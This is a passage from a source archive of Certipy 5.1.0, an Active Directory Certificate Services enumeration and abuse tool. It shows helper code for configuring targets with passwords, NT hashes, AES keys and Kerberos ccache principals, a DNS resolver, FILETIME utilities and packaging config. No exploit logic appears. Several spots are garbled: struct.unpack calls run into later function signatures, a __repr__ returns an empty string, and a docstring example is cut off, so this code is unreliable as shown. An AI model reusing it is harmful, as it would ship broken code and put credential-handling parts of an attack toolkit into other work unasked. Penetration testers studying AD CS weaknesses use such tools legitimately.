target_ip = remote_name
ns = ns or dc_ip
logging.debug(f"Nameserver: {ns!r}")
logging.debug(f"DC IP: {dc_ip!r}")
logging.debug(f"DC Host: {dc_host!r}")
logging.debug(f"Target IP: {target_ip!r}")
logging.debug(f"Remote Name: {remote_name!r}")
logging.debug(f"Domain: {domain!r}")
logging.debug(f"Username: {username!r}")
resolver = DnsResolver.create(ns=ns, dc_ip=dc_ip, dns_tcp=dns_tcp)
if target_ip is None:
target_ip = resolver.resolve(remote_name)
# Ensure DC IP is resolved
if dc_ip is None and dc_host:
dc_ip = resolver.resolve(dc_host)
# Create target instance
target = Target(
resolver,
domain=domain,
username=username,
password=password,
remote_name=remote_name,
hashes=hashes,
lmhash=lmhash,
nthash=nthash,
aes=aes,
do_kerberos=do_kerberos,
do_simple=do_simple,
dc_ip=dc_ip,
dc_host=dc_host,
target_ip=target_ip,
timeout=timeout,
ldap_scheme=ldap_scheme,
ldap_channel_binding=not no_ldap_channel_binding,
ldap_signing=not no_ldap_signing,
ldap_port=ldap_port,
ldap_user_dn=ldap_user_dn,
)
return target
def resolve_hostname(self, hostname: str) -> str:
"""
Resolve a hostname to IP address using the configured resolver.
Args:
hostname: The hostname to resolve
Returns:
The resolved IP address or the original hostname if resolution fails
"""
return self.resolver.resolve(hostname)
def __repr__(self) -> str:
"""String representation of the Target object."""
return f""
class DnsResolver:
"""
DNS resolver for hostname resolution with caching capabilities.
"""
def __init__(self) -> None:
"""Initialize a new DNS resolver with default settings."""
self.resolver: Resolver = Resolver()
self.use_tcp: bool = False
self.mappings: Dict[str, str] = {}
@staticmethod
def from_options(options: argparse.Namespace, target: "Target") -> "DnsResolver":
"""
Create a DnsResolver from command line options.
Args:
options: The command line options
target: The Target object
Returns:
DnsResolver: A configured DNS resolver
"""
resolver = DnsResolver()
# We can't put all possible nameservers in the list of nameservers, since
# the resolver will fail if one of them fails
nameserver = options.ns
if nameserver is None:
nameserver = target.dc_ip
if nameserver is not None:
resolver.resolver.nameservers = [nameserver]
resolver.use_tcp = options.dns_tcp
return resolver
@staticmethod
def create(
ns: Optional[str] = None,
dc_ip: Optional[str] = None,
dns_tcp: bool = False,
) -> "DnsResolver":
"""
Create a DnsResolver with specified parameters.
Args:
target: Target object which may contain DC IP information
ns: Nameserver to use
dns_tcp: Whether to use TCP for DNS queries
Returns:
DnsResolver: A configured DNS resolver
"""
resolver = DnsResolver()
# We can't put all possible nameservers in the list of nameservers, since
# the resolver will fail if one of them fails
nameserver = ns or dc_ip
if nameserver is not None:
resolver.resolver.nameservers = [nameserver]
resolver.use_tcp = dns_tcp
return resolver
def resolve(self, hostname: str) -> str:
"""
Resolve hostname to IP address using DNS or local resolution.
Uses cache for previously resolved hostnames.
Args:
hostname: The hostname to resolve
Returns:
str: The resolved IP address or the original hostname if resolution fails
"""
# Try to resolve the hostname with DNS first, then try a local resolve
if hostname in self.mappings:
logging.debug(
f"Resolved {hostname!r} from cache: {self.mappings[hostname]}"
)
return self.mappings[hostname]
if is_ip(hostname):
return hostname
ip_addr = None
if not self.resolver.nameservers:
logging.debug(f"Trying to resolve {hostname!r} locally")
else:
logging.debug(
f"Trying to resolve {hostname!r} at {self.resolver.nameservers[0]!r}"
)
# Try DNS resolution first
try:
answers = self.resolver.resolve(hostname, tcp=self.use_tcp)
if answers:
ip_addr = str(answers[0])
except Exception as e:
logging.warning(f"DNS resolution failed: {e}")
handle_error(True)
pass
# Fall back to socket resolution
if ip_addr is None:
try:
ip_addr = socket.gethostbyname(hostname)
except Exception:
ip_addr = None
if ip_addr is None:
logging.warning(f"Failed to resolve: {hostname}")
return hostname
self.mappings[hostname] = ip_addr
return ip_addr
def is_ip(hostname: Optional[str]) -> bool:
"""
Check if the given hostname is an IP address.
Args:
hostname: The hostname to check
Returns:
bool: True if the hostname is an IP address, False otherwise
"""
if hostname is None:
return False
try:
_ = socket.inet_aton(hostname)
return True
except Exception:
return False
def get_kerberos_principal() -> Optional[Tuple[str, str]]:
"""
Get Kerberos principal information from the KRB5CCNAME environment variable.
Returns:
Tuple containing (username, domain) or None if not available
"""
krb5ccname = os.getenv("KRB5CCNAME")
if krb5ccname is None:
logging.warning("KRB5CCNAME environment variable not set")
return None
try:
ccache = CCache.loadFile(krb5ccname)
except Exception:
return None
if ccache is None:
return None
if ccache.principal is None:
logging.error("No principal found in CCache file")
return None
if ccache.principal.realm is None:
logging.error("No realm/domain found in CCache file")
return None
domain = ccache.principal.realm["data"].decode("utf-8")
logging.debug(f"Domain retrieved from CCache: {domain}")
username = "/".join(map(lambda x: x["data"].decode(), ccache.principal.components))
logging.debug(f"Username retrieved from CCache: {username}")
return username, domain
Certipy-5.1.0/certipy/lib/time.py 0000664 0000000 0000000 00000007673 15216574665 0016727 0 ustar 00root root 0000000 0000000 """
Time Conversion Utilities
This module provides functions for handling Microsoft Windows FILETIME format
and converting time spans to human-readable strings.
"""
import struct
# Constants for time calculations (in seconds)
SECONDS_PER_HOUR = 3600
SECONDS_PER_DAY = 86400
SECONDS_PER_WEEK = 604800
SECONDS_PER_MONTH = 2592000 # 30-day month approximation
SECONDS_PER_YEAR = 31536000 # 365-day year approximation
# FILETIME conversion factor
# Windows FILETIME is in 100-nanosecond intervals
# Negative because FILETIME represents time remaining
FILETIME_CONVERSION_FACTOR = -0.0000001
def filetime_to_span(filetime: bytes) -> int:
"""
Convert Windows FILETIME to time span in seconds.
Windows FILETIME is a 64-bit value representing the number of
100-nanosecond intervals since January 1, 1601 UTC.
When used for validity periods, negative values represent time remaining.
Args:
filetime: Windows FILETIME as 8 bytes
Returns:
Time span in seconds (absolute value)
Raises:
struct.error: If the input bytes cannot be unpacked as a 64-bit integer
"""
# Unpack the 8-byte FILETIME as a 64-bit integer (little-endian)
(span,) = struct.unpack(" bytes:
"""
Convert a time span in seconds to Windows FILETIME format.
This function converts the time span to a 64-bit integer representing
the number of 100-nanosecond intervals since January 1, 1601 UTC.
Args:
span: Time span in seconds (positive integer)
Returns:
Windows FILETIME as 8 bytes
Raises:
ValueError: If the input span is negative
"""
if span < 0:
raise ValueError("Span must be a positive integer")
# Convert seconds to 100-nanosecond intervals
filetime = int(span / FILETIME_CONVERSION_FACTOR)
# Pack as little-endian 64-bit integer
return struct.pack(" str:
"""
Convert a time span in seconds to a human-readable string.
The function converts the span to the largest appropriate unit
(years, months, weeks, days, or hours) for readability.
Args:
span: Time span in seconds (positive integer)
Returns:
Human-readable time span (e.g., "1 year", "2 months", "3 weeks")
Empty string if span is negative or zero
"""
if span <= 0:
return ""
# Time unit conversion table
# (seconds_per_unit, singular_name, plural_name)
time_units = [
(SECONDS_PER_YEAR, "year", "years"),
(SECONDS_PER_MONTH, "month", "months"),
(SECONDS_PER_WEEK, "week", "weeks"),
(SECONDS_PER_DAY, "day", "days"),
(SECONDS_PER_HOUR, "hour", "hours"),
]
# Find the largest unit that divides span evenly
for seconds_per_unit, singular, plural in time_units:
if span % seconds_per_unit == 0 and span // seconds_per_unit >= 1:
unit_count = span // seconds_per_unit
return f"{unit_count} {singular if unit_count == 1 else plural}"
# If no exact match, return in seconds
return f"{span} seconds"
def filetime_to_str(filetime: bytes) -> str:
"""
Convert Windows FILETIME to a human-readable time span string.
This is a convenience function that combines filetime_to_span()
and span_to_str() operations.
Args:
filetime: Windows FILETIME as bytes
Returns:
Human-readable time span string
Example:
>>> filetime_bytes = struct.pack(">> filetime_to_str(filetime_bytes)
'1 year'
"""
try:
span = filetime_to_span(filetime)
return span_to_str(span)
except (struct.error, TypeError, ValueError) as e:
# Handle potential errors in the FILETIME format
return f"Invalid FILETIME format: {str(e)}"
Certipy-5.1.0/certipy/version.py 0000775 0000000 0000000 00000001640 15216574665 0016677 0 ustar 00root root 0000000 0000000 # Initialize version as unknown
version = "?"
# Try modern importlib.metadata approach (Python 3.8+)
try:
from importlib.metadata import version as get_version # type: ignore
version = get_version("certipy-ad")
except ImportError:
# For Python < 3.8, try importlib_metadata backport
try:
from importlib_metadata import version as get_version # type: ignore
version = get_version("certipy-ad")
except ImportError:
# Fall back to pkg_resources (setuptools)
try:
import pkg_resources # type: ignore
version = pkg_resources.get_distribution("certipy-ad").version # type: ignore
except Exception:
print(
"Cannot determine Certipy version. "
'If running from source you should at least run "python setup.py egg_info"'
)
BANNER = "Certipy v{} - by Oliver Lyak (ly4k)\n".format(version)
Certipy-5.1.0/pyproject.toml 0000664 0000000 0000000 00000002462 15216574665 0016075 0 ustar 00root root 0000000 0000000 [build-system]
requires = ["setuptools>=69", "wheel"]
build-backend = "setuptools.build_meta"
[project]
name = "certipy-ad"
version = "5.1.0"
description = "Active Directory Certificate Services enumeration and abuse"
readme = "README.md"
authors = [
{name = "ly4k"}
]
license = {text = "MIT"}
requires-python = ">=3.12"
classifiers = [
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
]
dependencies = [
"asn1crypto~=1.5.1",
"cryptography~=42.0.8",
"impacket~=0.13.0",
"ldap3~=2.9.1",
"pyasn1~=0.6.1",
"dnspython~=2.7.0",
"requests~=2.32.3",
"pycryptodome~=3.22.0",
"beautifulsoup4~=4.13.4",
"httpx~=0.28.1",
"argcomplete~=3.6.2",
]
[project.optional-dependencies]
bloodhound = [
"neo4j~=5.28.1",
]
[project.urls]
Homepage = "https://github.com/ly4k/Certipy"
"Bug Tracker" = "https://github.com/ly4k/Certipy/issues"
[project.scripts]
certipy = "certipy.entry:main"
[tool.setuptools]
packages = [
"certipy",
"certipy.commands",
"certipy.commands.parsers",
"certipy.lib",
]
[tool.isort]
profile = "black"
line_length = 88
multi_line_output = 3
include_trailing_comma = true
force_grid_wrap = 0
use_parentheses = true
[tool.black]
line-length = 88
target-version = ['py312']
Certipy-5.1.0/pyrightconfig.json 0000664 0000000 0000000 00000002520 15216574665 0016723 0 ustar 00root root 0000000 0000000 {
"include": ["certipy/"],
"exclude": [
"**/__pycache__",
"venv/",
"**/site-packages/impacket"
],
"typeCheckingMode": "standard",
"strictListInference": true,
"strictDictionaryInference": true,
"strictSetInference": true,
"reportAssertAlwaysTrue": "error",
"reportInvalidStringEscapeSequence": "error",
"reportInvalidTypeVarUse": "error",
"reportSelfClsParameterName": "error",
"reportUnsupportedDunderAll": "error",
"reportUnusedExpression": "error",
"reportWildcardImportFromLibrary": "error",
"reportConstantRedefinition": "error",
"reportDeprecated": "error",
"reportDuplicateImport": "error",
"reportIncompleteStub": "error",
"reportInconsistentConstructor": "error",
"reportMatchNotExhaustive": "error",
"reportMissingParameterType": "error",
"reportMissingTypeArgument": "error",
"reportTypeCommentUsage": "error",
"reportUnnecessaryCast": "error",
"reportUnnecessaryComparison": "error",
"reportUnnecessaryContains": "error",
"reportUnnecessaryIsInstance": "error",
"reportUnusedClass": "error",
"reportUnusedImport": "error",
"reportUnusedFunction": "error",
"reportUnusedVariable": "error",
"reportUntypedBaseClass": "error",
"reportUntypedClassDecorator": "error",
"reportUntypedFunctionDecorator": "error",
"reportUntypedNamedTuple": "error",
"reportUnnecessaryTypeIgnoreComments": true
}